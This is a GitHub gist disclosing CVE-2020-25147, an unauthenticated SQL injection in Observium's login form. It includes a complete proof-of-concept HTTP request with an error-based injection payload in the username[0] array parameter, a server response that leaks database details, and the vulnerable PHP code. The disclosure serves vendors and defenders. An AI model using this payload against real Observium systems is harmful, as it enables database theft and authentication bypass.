Skip to content

Instantly share code, notes, and snippets.

@ahpaleus
Created September 22, 2020 09:21
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ahpaleus/c9ee1108d146a94470f191fc423bee10 to your computer and use it in GitHub Desktop.
Save ahpaleus/c9ee1108d146a94470f191fc423bee10 to your computer and use it in GitHub Desktop.
CVE-2020-25147
------------------------------------------
Unauthenticated SQL Injection
------------------------------------------
[Description]
Penetration test has shown that the application is vulnerable to SQL Injection due to the fact that it is possible to inject malicious SQL statements in malformed parameter types. Sending improper variable type “Array” allows to bypass core SQL Injection sanitization. Users are able to inject malicious SQL queries. This vulnerability leads to full database leak and even ckeys that can be used in the authentication process without knowing of username and clear text passwords.
------------------------------------------
[Additional Information]
Please note that Proof of Concepts regarding SQL injection points works even without the “debug” parameter that was included in the request. Debug was only added due to better track insertion point.
We want to mention that the source code of Observium was downloaded from the following URL:
http://www.observium.org/observium-community-latest.tar.gz
We have tested this vulnerability on CE and PRO version (Paid), both softwares were vulnerable.
Vulnerability was exploited by sending crafted variable type "Array". Core sanitization does not properly handle this type of parameters.
Example request that allows to inject malicious SQL queries by sending Array "username[]" parameter during authentication process:
POST /?debug=0 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15\
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 202
Connection: close
username[0]=(select 1 from(select count(*),concat((select (select concat(version(),0x3a,database(),0x3a)) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)&password=dsa&submit=
Partial of server response:
HTTP/1.1 200 OK
Date: Wed, 12 Aug 2020 13:17:33 GMT
Strict-Transport-Security: max-age=63072000; includeSubdomains;
X-Frame-Options: DENY
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: OBSID=75cvg4vjit69libv005f0blp7jguen2t; expires=Wed, 12-Aug-2020 13:47:33 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=75cvg4vjit69libv005f0blp7jguen2t; expires=Wed, 12-Aug-2020 13:47:33 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
Set-Cookie: OBSID=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/;HttpOnly;Secure
Set-Cookie: observium_screen_ratio=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/;HttpOnly;Secure
Set-Cookie: observium_screen_resolution=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/;HttpOnly;Secure
Set-Cookie: OBSID=75cvg4vjit69libv005f0blp7jguen2t; expires=Wed, 12-Aug-2020 13:47:33 GMT; Max-Age=1800; path=/; secure;HttpOnly;Secure
X-XSS-Protection: 1; mode=block
X-Permitted-Cross-Domain-Policies: none
X-Content-Type-Options: nosniff
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 10583
</pre></p>
<div class="alert alert-danger">
<div>Error in query: (Duplicate entry &#039;5.5.65-MariaDB:observium:1&#039; for key &#039;group_key&#039;) 1062</div>
</div>
<div class="alert alert-danger"><button type="button" class="close" data-dismiss="alert">&times;
Below we present vulnerable code:
/var/opt/observium/html/includes/authenticate.inc.php
162 if (!$_SESSION['authenticated'] && isset($_GET['username']) && isset($_GET['password']))
163 {
164 session_set_var('username', $_GET['username']);
165 $auth_password = $_GET['password'];
166 }
...
...
...
...
514 dbInsert(array('user' => $_SESSION['username'],
515 'address' => $remote_addr,
516 'user_agent' => $_SERVER['HTTP_USER_AGENT'],
517 'result' => $auth_log), 'authlog');
------------------------------------------
[VulnerabilityType Other]
SQL Injection
------------------------------------------
[Vendor of Product]
https://www.observium.org/
------------------------------------------
[Affected Product Code Base]
Professional, Enterprise & Community 20.8.10631
------------------------------------------
[Affected Component]
Authenticate
------------------------------------------
[Attack Type]
Remote
------------------------------------------
[Reference]
https://www.owasp.org/index.php/OWASP_Proactive_Controls#2:_Parameterize_Queries
https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md
https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)
https://www.owasp.org/index.php/Testing_for_Command_Injection_(OTG-INPVAL-013)
https://www.owasp.org/index.php/Testing_for_ORM_Injection_(OTG-INPVAL-007)
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.md
https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Query_Parameterization_Cheat_Sheet.md
------------------------------------------
[Discoverer]
Maciej Domański
------------------------------------------
Maciej Domański / AFINE.com team
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment